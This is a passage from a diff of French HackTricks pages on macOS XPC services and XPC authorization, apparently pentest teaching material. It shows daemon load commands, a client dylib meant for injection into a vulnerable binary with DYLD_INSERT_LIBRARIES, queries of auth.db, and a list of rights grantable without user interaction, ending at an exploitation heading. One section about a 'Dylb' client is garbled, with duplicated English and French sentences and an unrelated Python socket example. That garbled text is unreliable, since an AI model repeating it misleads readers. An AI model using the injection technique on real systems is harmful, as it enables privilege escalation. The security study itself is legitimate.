</plist>
|
||||||
|
```
|
||||||
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
```bash
|
||||||
|
# Compile the server & client
|
||||||
|
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
|
||||||
|
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
|
||||||
|
|
||||||
|
# Save server on it's location
|
||||||
|
cp oc_xpc_server /tmp
|
||||||
|
|
||||||
|
# Load daemon
|
||||||
|
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
|
||||||
|
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||||
|
|
||||||
|
# Call client
|
||||||
|
./oc_xpc_client
|
||||||
|
|
||||||
|
# Clean
|
||||||
|
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
|
||||||
|
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
|
||||||
|
```
|
||||||
|
## Client à l'intérieur d'un code Dylb
|
||||||
|
|
||||||
|
The client code is responsible for establishing a connection with the server and sending requests to it. In the case of a Dylb code, the client is embedded within the code itself, allowing for seamless communication between the client and the server.
|
||||||
|
|
||||||
|
Le code client est responsable d'établir une connexion avec le serveur et d'envoyer des requêtes à celui-ci. Dans le cas d'un code Dylb, le client est intégré directement dans le code lui-même, permettant une communication fluide entre le client et le serveur.
|
||||||
|
|
||||||
|
To implement a client inside a Dylb code, you can use the following steps:
|
||||||
|
|
||||||
|
Pour mettre en place un client à l'intérieur d'un code Dylb, vous pouvez suivre les étapes suivantes :
|
||||||
|
|
||||||
|
1. Import the necessary libraries or modules required for establishing a network connection.
|
||||||
|
|
||||||
|
Importez les bibliothèques ou modules nécessaires pour établir une connexion réseau.
|
||||||
|
|
||||||
|
2. Define the server's IP address and port number to establish a connection.
|
||||||
|
|
||||||
|
Définissez l'adresse IP et le numéro de port du serveur pour établir une connexion.
|
||||||
|
|
||||||
|
3. Create a socket object to establish a connection with the server.
|
||||||
|
|
||||||
|
Créez un objet socket pour établir une connexion avec le serveur.
|
||||||
|
|
||||||
|
4. Use the socket object to send requests to the server.
|
||||||
|
|
||||||
|
Utilisez l'objet socket pour envoyer des requêtes au serveur.
|
||||||
|
|
||||||
|
5. Receive and process the server's response.
|
||||||
|
|
||||||
|
Recevez et traitez la réponse du serveur.
|
||||||
|
|
||||||
|
Here is an example of client code inside a Dylb code:
|
||||||
|
|
||||||
|
Voici un exemple de code client à l'intérieur d'un code Dylb :
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket
|
||||||
|
|
||||||
|
# Define server IP address and port number
|
||||||
|
server_ip = "192.168.0.1"
|
||||||
|
server_port = 1234
|
||||||
|
|
||||||
|
# Create a socket object
|
||||||
|
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
# Establish a connection with the server
|
||||||
|
client_socket.connect((server_ip, server_port))
|
||||||
|
|
||||||
|
# Send requests to the server
|
||||||
|
client_socket.send(b"Hello, server!")
|
||||||
|
|
||||||
|
# Receive and process the server's response
|
||||||
|
response = client_socket.recv(1024)
|
||||||
|
print(response.decode())
|
||||||
|
|
||||||
|
# Close the connection
|
||||||
|
client_socket.close()
|
||||||
|
```
|
||||||
|
|
||||||
|
In this example, the client code establishes a TCP connection with the server at the specified IP address and port number. It sends a "Hello, server!" message to the server and receives the server's response, which is then printed on the console. Finally, the connection is closed.
|
||||||
|
|
||||||
|
Dans cet exemple, le code client établit une connexion TCP avec le serveur à l'adresse IP et au numéro de port spécifiés. Il envoie un message "Hello, server!" au serveur et reçoit la réponse du serveur, qui est ensuite affichée sur la console. Enfin, la connexion est fermée.
|
||||||
|
```objectivec
|
||||||
|
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
|
||||||
|
// gcc injection example:
|
||||||
|
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
|
||||||
|
@protocol MyXPCProtocol
|
||||||
|
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
|
||||||
|
@end
|
||||||
|
|
||||||
|
__attribute__((constructor))
|
||||||
|
static void customConstructor(int argc, const char **argv)
|
||||||
|
{
|
||||||
|
NSString* _serviceName = @"xyz.hacktricks.svcoc";
|
||||||
|
|
||||||
|
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
|
||||||
|
|
||||||
|
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
|
||||||
|
|
||||||
|
[_agentConnection resume];
|
||||||
|
|
||||||
|
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
|
||||||
|
(void)error;
|
||||||
|
NSLog(@"Connection Failure");
|
||||||
|
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
|
||||||
|
NSLog(@"Received response: %@", response);
|
||||||
|
} ];
|
||||||
|
NSLog(@"Done!");
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,433 @@
|
||||||
|
# Autorisation XPC macOS
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||||
|
|
||||||
|
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Autorisation XPC
|
||||||
|
|
||||||
|
Apple propose également une autre façon d'authentifier si le processus de connexion a **les autorisations pour appeler une méthode XPC exposée**.
|
||||||
|
|
||||||
|
Lorsqu'une application a besoin d'**exécuter des actions en tant qu'utilisateur privilégié**, au lieu de l'exécuter en tant qu'utilisateur privilégié, elle installe généralement en tant que root un HelperTool en tant que service XPC qui peut être appelé depuis l'application pour effectuer ces actions. Cependant, l'application appelant le service doit avoir une autorisation suffisante.
|
||||||
|
|
||||||
|
### ShouldAcceptNewConnection toujours YES
|
||||||
|
|
||||||
|
Un exemple peut être trouvé dans [EvenBetterAuthorizationSample](https://github.com/brenwell/EvenBetterAuthorizationSample). Dans `App/AppDelegate.m`, il essaie de **se connecter** au **HelperTool**. Et dans `HelperTool/HelperTool.m`, la fonction **`shouldAcceptNewConnection`** **ne vérifiera pas** les exigences indiquées précédemment. Elle renverra toujours YES :
|
||||||
|
```objectivec
|
||||||
|
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection
|
||||||
|
// Called by our XPC listener when a new connection comes in. We configure the connection
|
||||||
|
// with our protocol and ourselves as the main object.
|
||||||
|
{
|
||||||
|
assert(listener == self.listener);
|
||||||
|
#pragma unused(listener)
|
||||||
|
assert(newConnection != nil);
|
||||||
|
|
||||||
|
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
|
||||||
|
newConnection.exportedObject = self;
|
||||||
|
[newConnection resume];
|
||||||
|
|
||||||
|
return YES;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Pour plus d'informations sur la configuration appropriée de cette vérification, veuillez consulter le fichier [macos-xpc-connecting-process-check.md](macos-xpc-connecting-process-check.md).
|
||||||
|
|
||||||
|
### Droits d'application
|
||||||
|
|
||||||
|
Cependant, une **autorisation est requise lorsqu'une méthode du HelperTool est appelée**.
|
||||||
|
|
||||||
|
La fonction **`applicationDidFinishLaunching`** du fichier `App/AppDelegate.m` créera une référence d'autorisation vide après le démarrage de l'application. Cela devrait toujours fonctionner.\
|
||||||
|
Ensuite, elle essaiera d'**ajouter certains droits** à cette référence d'autorisation en appelant `setupAuthorizationRights`:
|
||||||
|
```objectivec
|
||||||
|
- (void)applicationDidFinishLaunching:(NSNotification *)note
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
err = AuthorizationCreate(NULL, NULL, 0, &self->_authRef);
|
||||||
|
if (err == errAuthorizationSuccess) {
|
||||||
|
err = AuthorizationMakeExternalForm(self->_authRef, &extForm);
|
||||||
|
}
|
||||||
|
if (err == errAuthorizationSuccess) {
|
||||||
|
self.authorization = [[NSData alloc] initWithBytes:&extForm length:sizeof(extForm)];
|
||||||
|
}
|
||||||
|
assert(err == errAuthorizationSuccess);
|
||||||
|
|
||||||
|
// If we successfully connected to Authorization Services, add definitions for our default
|
||||||
|
// rights (unless they're already in the database).
|
||||||
|
|
||||||
|
if (self->_authRef) {
|
||||||
|
[Common setupAuthorizationRights:self->_authRef];
|
||||||
|
}
|
||||||
|
|
||||||
|
[self.window makeKeyAndOrderFront:self];
|
||||||
|
}
|
||||||
|
```
|
||||||
|
La fonction `setupAuthorizationRights` du fichier `Common/Common.m` stockera dans la base de données d'autorisation `/var/db/auth.db` les droits de l'application. Notez comment elle ajoutera uniquement les droits qui ne sont pas encore présents dans la base de données :
|
||||||
|
```objectivec
|
||||||
|
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
|
||||||
|
// See comment in header.
|
||||||
|
{
|
||||||
|
assert(authRef != NULL);
|
||||||
|
[Common enumerateRightsUsingBlock:^(NSString * authRightName, id authRightDefault, NSString * authRightDesc) {
|
||||||
|
OSStatus blockErr;
|
||||||
|
|
||||||
|
// First get the right. If we get back errAuthorizationDenied that means there's
|
||||||
|
// no current definition, so we add our default one.
|
||||||
|
|
||||||
|
blockErr = AuthorizationRightGet([authRightName UTF8String], NULL);
|
||||||
|
if (blockErr == errAuthorizationDenied) {
|
||||||
|
blockErr = AuthorizationRightSet(
|
||||||
|
authRef, // authRef
|
||||||
|
[authRightName UTF8String], // rightName
|
||||||
|
(__bridge CFTypeRef) authRightDefault, // rightDefinition
|
||||||
|
(__bridge CFStringRef) authRightDesc, // descriptionKey
|
||||||
|
NULL, // bundle (NULL implies main bundle)
|
||||||
|
CFSTR("Common") // localeTableName
|
||||||
|
);
|
||||||
|
assert(blockErr == errAuthorizationSuccess);
|
||||||
|
} else {
|
||||||
|
// A right already exists (err == noErr) or any other error occurs, we
|
||||||
|
// assume that it has been set up in advance by the system administrator or
|
||||||
|
// this is the second time we've run. Either way, there's nothing more for
|
||||||
|
// us to do.
|
||||||
|
}
|
||||||
|
}];
|
||||||
|
}
|
||||||
|
```
|
||||||
|
La fonction `enumerateRightsUsingBlock` est utilisée pour obtenir les autorisations des applications, qui sont définies dans `commandInfo`:
|
||||||
|
```objectivec
|
||||||
|
static NSString * kCommandKeyAuthRightName = @"authRightName";
|
||||||
|
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
|
||||||
|
static NSString * kCommandKeyAuthRightDesc = @"authRightDescription";
|
||||||
|
|
||||||
|
+ (NSDictionary *)commandInfo
|
||||||
|
{
|
||||||
|
static dispatch_once_t sOnceToken;
|
||||||
|
static NSDictionary * sCommandInfo;
|
||||||
|
|
||||||
|
dispatch_once(&sOnceToken, ^{
|
||||||
|
sCommandInfo = @{
|
||||||
|
NSStringFromSelector(@selector(readLicenseKeyAuthorization:withReply:)) : @{
|
||||||
|
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.readLicenseKey",
|
||||||
|
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||||||
|
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||||
|
@"EBAS is trying to read its license key.",
|
||||||
|
@"prompt shown when user is required to authorize to read the license key"
|
||||||
|
)
|
||||||
|
},
|
||||||
|
NSStringFromSelector(@selector(writeLicenseKey:authorization:withReply:)) : @{
|
||||||
|
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.writeLicenseKey",
|
||||||
|
kCommandKeyAuthRightDefault : @kAuthorizationRuleAuthenticateAsAdmin,
|
||||||
|
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||||
|
@"EBAS is trying to write its license key.",
|
||||||
|
@"prompt shown when user is required to authorize to write the license key"
|
||||||
|
)
|
||||||
|
},
|
||||||
|
NSStringFromSelector(@selector(bindToLowNumberPortAuthorization:withReply:)) : @{
|
||||||
|
kCommandKeyAuthRightName : @"com.example.apple-samplecode.EBAS.startWebService",
|
||||||
|
kCommandKeyAuthRightDefault : @kAuthorizationRuleClassAllow,
|
||||||
|
kCommandKeyAuthRightDesc : NSLocalizedString(
|
||||||
|
@"EBAS is trying to start its web service.",
|
||||||
|
@"prompt shown when user is required to authorize to start the web service"
|
||||||
|
)
|
||||||
|
}
|
||||||
|
};
|
||||||
|
});
|
||||||
|
return sCommandInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
+ (NSString *)authorizationRightForCommand:(SEL)command
|
||||||
|
// See comment in header.
|
||||||
|
{
|
||||||
|
return [self commandInfo][NSStringFromSelector(command)][kCommandKeyAuthRightName];
|
||||||
|
}
|
||||||
|
|
||||||
|
+ (void)enumerateRightsUsingBlock:(void (^)(NSString * authRightName, id authRightDefault, NSString * authRightDesc))block
|
||||||
|
// Calls the supplied block with information about each known authorization right..
|
||||||
|
{
|
||||||
|
[self.commandInfo enumerateKeysAndObjectsUsingBlock:^(id key, id obj, BOOL *stop) {
|
||||||
|
#pragma unused(key)
|
||||||
|
#pragma unused(stop)
|
||||||
|
NSDictionary * commandDict;
|
||||||
|
NSString * authRightName;
|
||||||
|
id authRightDefault;
|
||||||
|
NSString * authRightDesc;
|
||||||
|
|
||||||
|
// If any of the following asserts fire it's likely that you've got a bug
|
||||||
|
// in sCommandInfo.
|
||||||
|
|
||||||
|
commandDict = (NSDictionary *) obj;
|
||||||
|
assert([commandDict isKindOfClass:[NSDictionary class]]);
|
||||||
|
|
||||||
|
authRightName = [commandDict objectForKey:kCommandKeyAuthRightName];
|
||||||
|
assert([authRightName isKindOfClass:[NSString class]]);
|
||||||
|
|
||||||
|
authRightDefault = [commandDict objectForKey:kCommandKeyAuthRightDefault];
|
||||||
|
assert(authRightDefault != nil);
|
||||||
|
|
||||||
|
authRightDesc = [commandDict objectForKey:kCommandKeyAuthRightDesc];
|
||||||
|
assert([authRightDesc isKindOfClass:[NSString class]]);
|
||||||
|
|
||||||
|
block(authRightName, authRightDefault, authRightDesc);
|
||||||
|
}];
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Cela signifie qu'à la fin de ce processus, les autorisations déclarées dans `commandInfo` seront stockées dans `/var/db/auth.db`. Notez comment vous pouvez trouver pour **chaque méthode** qui nécessite une **authentification**, le **nom de l'autorisation** et le **`kCommandKeyAuthRightDefault`**. Ce dernier **indique qui peut obtenir ce droit**.
|
||||||
|
|
||||||
|
Il existe différents scopes pour indiquer qui peut accéder à un droit. Certains d'entre eux sont définis dans [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (vous pouvez les trouver [tous ici](https://www.dssw.co.uk/reference/authorization-rights/)), mais en résumé :
|
||||||
|
|
||||||
|
<table><thead><tr><th width="284.3333333333333">Nom</th><th width="165">Valeur</th><th>Description</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Tout le monde</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Personne</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>L'utilisateur actuel doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Demande à l'utilisateur de s'authentifier.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Demande à l'utilisateur de s'authentifier. Il doit être un administrateur (dans le groupe admin)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Spécifie les règles</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Spécifie des commentaires supplémentaires sur le droit</td></tr></tbody></table>
|
||||||
|
|
||||||
|
### Vérification des droits
|
||||||
|
|
||||||
|
Dans `HelperTool/HelperTool.m`, la fonction **`readLicenseKeyAuthorization`** vérifie si l'appelant est autorisé à **exécuter une telle méthode** en appelant la fonction **`checkAuthorization`**. Cette fonction vérifiera si les **données d'authentification** envoyées par le processus appelant ont un **format correct**, puis vérifiera **ce qui est nécessaire pour obtenir le droit** d'appeler la méthode spécifique. Si tout se passe bien, l'**erreur renvoyée sera `nil`** :
|
||||||
|
```objectivec
|
||||||
|
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||||
|
{
|
||||||
|
[...]
|
||||||
|
|
||||||
|
// First check that authData looks reasonable.
|
||||||
|
|
||||||
|
error = nil;
|
||||||
|
if ( (authData == nil) || ([authData length] != sizeof(AuthorizationExternalForm)) ) {
|
||||||
|
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:paramErr userInfo:nil];
|
||||||
|
}
|
||||||
|
|
||||||
|
// Create an authorization ref from that the external form data contained within.
|
||||||
|
|
||||||
|
if (error == nil) {
|
||||||
|
err = AuthorizationCreateFromExternalForm([authData bytes], &authRef);
|
||||||
|
|
||||||
|
// Authorize the right associated with the command.
|
||||||
|
|
||||||
|
if (err == errAuthorizationSuccess) {
|
||||||
|
AuthorizationItem oneRight = { NULL, 0, NULL, 0 };
|
||||||
|
AuthorizationRights rights = { 1, &oneRight };
|
||||||
|
|
||||||
|
oneRight.name = [[Common authorizationRightForCommand:command] UTF8String];
|
||||||
|
assert(oneRight.name != NULL);
|
||||||
|
|
||||||
|
err = AuthorizationCopyRights(
|
||||||
|
authRef,
|
||||||
|
&rights,
|
||||||
|
NULL,
|
||||||
|
kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed,
|
||||||
|
NULL
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (err != errAuthorizationSuccess) {
|
||||||
|
error = [NSError errorWithDomain:NSOSStatusErrorDomain code:err userInfo:nil];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (authRef != NULL) {
|
||||||
|
junk = AuthorizationFree(authRef, 0);
|
||||||
|
assert(junk == errAuthorizationSuccess);
|
||||||
|
}
|
||||||
|
|
||||||
|
return error;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Notez que pour vérifier les exigences afin d'obtenir le droit d'appeler cette méthode, la fonction `authorizationRightForCommand` vérifiera simplement l'objet précédemment commenté `commandInfo`. Ensuite, elle appellera `AuthorizationCopyRights` pour vérifier si elle a le droit d'appeler la fonction (notez que les indicateurs permettent une interaction avec l'utilisateur).
|
||||||
|
|
||||||
|
Dans ce cas, pour appeler la fonction `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` est défini comme `@kAuthorizationRuleClassAllow`. Ainsi, n'importe qui peut l'appeler.
|
||||||
|
|
||||||
|
### Informations sur la base de données
|
||||||
|
|
||||||
|
Il a été mentionné que ces informations sont stockées dans `/var/db/auth.db`. Vous pouvez lister toutes les règles stockées avec :
|
||||||
|
```sql
|
||||||
|
sudo sqlite3 /var/db/auth.db
|
||||||
|
SELECT name FROM rules;
|
||||||
|
SELECT name FROM rules WHERE name LIKE '%safari%';
|
||||||
|
```
|
||||||
|
Ensuite, vous pouvez lire qui peut accéder aux droits avec :
|
||||||
|
```bash
|
||||||
|
security authorizationdb read com.apple.safaridriver.allow
|
||||||
|
```
|
||||||
|
### Droits permissifs
|
||||||
|
|
||||||
|
Vous pouvez trouver **toutes les configurations de permissions** [**ici**](https://www.dssw.co.uk/reference/authorization-rights/), mais les combinaisons qui ne nécessitent pas d'interaction utilisateur seraient :
|
||||||
|
|
||||||
|
1. **'authenticate-user': 'false'**
|
||||||
|
* C'est la clé la plus directe. Si elle est définie sur `false`, cela signifie qu'un utilisateur n'a pas besoin de fournir d'authentification pour obtenir ce droit.
|
||||||
|
* Cela est utilisé en **combinaison avec l'une des 2 options ci-dessous ou en indiquant un groupe** auquel l'utilisateur doit appartenir.
|
||||||
|
2. **'allow-root': 'true'**
|
||||||
|
* Si un utilisateur opère en tant qu'utilisateur root (qui a des permissions élevées) et que cette clé est définie sur `true`, l'utilisateur root pourrait potentiellement obtenir ce droit sans autre authentification. Cependant, en général, accéder au statut d'utilisateur root nécessite déjà une authentification, donc ce n'est pas un scénario "sans authentification" pour la plupart des utilisateurs.
|
||||||
|
3. **'session-owner': 'true'**
|
||||||
|
* Si elle est définie sur `true`, le propriétaire de la session (l'utilisateur actuellement connecté) obtiendrait automatiquement ce droit. Cela pourrait contourner une authentification supplémentaire si l'utilisateur est déjà connecté.
|
||||||
|
4. **'shared': 'true'**
|
||||||
|
* Cette clé n'accorde pas de droits sans authentification. Au lieu de cela, si elle est définie sur `true`, cela signifie que une fois que le droit a été authentifié, il peut être partagé entre plusieurs processus sans que chacun ait besoin de se ré-authentifier. Cependant, l'octroi initial du droit nécessiterait toujours une authentification, sauf s'il est combiné avec d'autres clés comme `'authenticate-user': 'false'`.
|
||||||
|
|
||||||
|
Vous pouvez [**utiliser ce script**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) pour obtenir les droits intéressants :
|
||||||
|
```bash
|
||||||
|
Rights with 'authenticate-user': 'false':
|
||||||
|
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||||
|
|
||||||
|
Rights with 'allow-root': 'true':
|
||||||
|
com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek, com-apple-openscripting-additions-send, com-apple-reportpanic-fixright, com-apple-servicemanagement-blesshelper, com-apple-xtype-fontmover-install, com-apple-xtype-fontmover-remove, com-apple-dt-instruments-process-analysis, com-apple-dt-instruments-process-kill, com-apple-pcastagentconfigd-wildcard, com-apple-trust-settings-admin, com-apple-wifivelocity, com-apple-wireless-diagnostics, is-root, system-install-iap-software, system-install-software, system-install-software-iap, system-preferences, system-preferences-accounts, system-preferences-datetime, system-preferences-energysaver, system-preferences-network, system-preferences-printing, system-preferences-security, system-preferences-sharing, system-preferences-softwareupdate, system-preferences-startupdisk, system-preferences-timemachine, system-print-operator, system-privilege-admin, system-services-networkextension-filtering, system-services-networkextension-vpn, system-services-systemconfiguration-network, system-sharepoints-wildcard
|
||||||
|
|
||||||
|
|
||||||
|
Rights with 'session-owner': 'true':
|
||||||
|
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||||
|
```
|
||||||
|
## Réverser l'autorisation
|
||||||
|
|
||||||
|
### Vérification de l'utilisation de EvenBetterAuthorization
|
||||||
|
|
||||||
|
Si vous trouvez la fonction : **`[HelperTool checkAuthorization:command:]`**, il est probable que le processus utilise le schéma mentionné précédemment pour l'autorisation :
|
||||||
|
|
||||||
|
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Ensuite, si cette fonction appelle des fonctions telles que `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, elle utilise [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||||
|
|
||||||
|
Vérifiez le fichier **`/var/db/auth.db`** pour voir s'il est possible d'obtenir des autorisations pour appeler une action privilégiée sans interaction de l'utilisateur.
|
||||||
|
|
||||||
|
### Communication de protocole
|
||||||
|
|
||||||
|
Ensuite, vous devez trouver le schéma de protocole afin de pouvoir établir une communication avec le service XPC.
|
||||||
|
|
||||||
|
La fonction **`shouldAcceptNewConnection`** indique le protocole qui est exporté :
|
||||||
|
|
||||||
|
<figure><img src="../../../../../.gitbook/assets/image (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
Dans ce cas, nous avons la même chose que dans EvenBetterAuthorizationSample, [**vérifiez cette ligne**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||||
|
|
||||||
|
En connaissant le nom du protocole utilisé, il est possible de **dumper sa définition d'en-tête** avec :
|
||||||
|
```bash
|
||||||
|
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
||||||
|
|
||||||
|
[...]
|
||||||
|
@protocol HelperToolProtocol
|
||||||
|
- (void)overrideProxySystemWithAuthorization:(NSData *)arg1 setting:(NSDictionary *)arg2 reply:(void (^)(NSError *))arg3;
|
||||||
|
- (void)revertProxySystemWithAuthorization:(NSData *)arg1 restore:(BOOL)arg2 reply:(void (^)(NSError *))arg3;
|
||||||
|
- (void)legacySetProxySystemPreferencesWithAuthorization:(NSData *)arg1 enabled:(BOOL)arg2 host:(NSString *)arg3 port:(NSString *)arg4 reply:(void (^)(NSError *, BOOL))arg5;
|
||||||
|
- (void)getVersionWithReply:(void (^)(NSString *))arg1;
|
||||||
|
- (void)connectWithEndpointReply:(void (^)(NSXPCListenerEndpoint *))arg1;
|
||||||
|
@end
|
||||||
|
[...]
|
||||||
|
```
|
||||||
|
Enfin, nous devons simplement connaître le **nom du service Mach exposé** afin d'établir une communication avec celui-ci. Il existe plusieurs façons de le trouver :
|
||||||
|
|
||||||
|
* Dans la méthode **`[HelperTool init]`**, où vous pouvez voir le service Mach utilisé :
|
||||||
|
|
||||||
|
<figure><img src="../../../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
* Dans le fichier launchd plist :
|
||||||
|
```xml
|
||||||
|
cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
||||||
|
|
||||||
|
[...]
|
||||||
|
|
||||||
|
<key>MachServices</key>
|
||||||
|
<dict>
|
||||||
|
<key>com.example.HelperTool</key>
|
||||||
|
<true/>
|
||||||
|
</dict>
|
||||||
|
[...]
|
||||||
|
```
|
||||||
|
### Exemple d'exploitation
|
||||||
|
|
||||||
|
Dans cet exemple, les éléments suivants sont créés :
|
||||||
|
|
||||||
|
* La définition du protocole avec les fonctions
|
||||||
|
* Une authentification vide à utiliser pour demander l'accès
|
||||||
|
